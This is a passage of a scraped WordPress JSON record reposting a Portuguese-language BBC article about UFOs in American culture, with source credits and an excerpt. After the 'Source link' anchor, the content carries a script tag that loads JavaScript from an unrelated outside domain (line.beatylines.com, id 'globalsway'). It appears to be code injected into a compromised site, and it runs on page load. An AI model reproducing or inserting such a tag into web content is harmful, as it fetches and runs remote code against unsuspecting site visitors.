traz de volta, sens\u00edvel \u00e0s injusti\u00e7as hist\u00f3ricas americanas. Agora que o disco voador parece ter desaparecido de um futuro assustador, ele se tornou uma rel\u00edquia de um passado reconfortante.<\/p>\n<p>Leia a <a href=\"https:\/\/www.bbc.com\/culture\/article\/20220714-the-ufo-sightings-that-swept-the-us?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">vers\u00e3o original desta reportagem<\/a> (em ingl\u00eas) no site <a href=\"https:\/\/www.bbc.com\/culture?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">BBC Culture<\/a>.<\/p>\n<p>&#8211; Texto originalmente publicado em https:\/\/www.bbc.com\/portuguese\/vert-tra-62231330&#8230; &#8211; Veja mais em https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/07\/20\/aurora-boreal-o-buraco-azul-no-ceu-da-suecia-que-permite-observar-esse-fenomeno-e-arco-iris-lunar.htm?cmpid=copiaecola<\/p>\n<p>&#8211; Texto originalmente publicado em <a href=\"http:\/\/bbc.co.uk\/portuguese\/geral-62246921\">http:\/\/bbc.co.uk\/portuguese\/geral-62246921<\/a><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/07\/22\/como-ovnis-tomaram-conta-da-cultura-americana.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discos voadores trouxeram visitantes misteriosos de Marte e de outros planetas em in\u00fameros filmes, s\u00e9ries de TV, romances, hist\u00f3rias em quadrinhos e at\u00e9 discos de sucesso. Os discos voadores est\u00e3o de volta no novo filme do cineasta Jordan Peele &#8211; 75 anos depois do primeiro avistamento misterioso de \u00f3vnis nos Estados Unidos. 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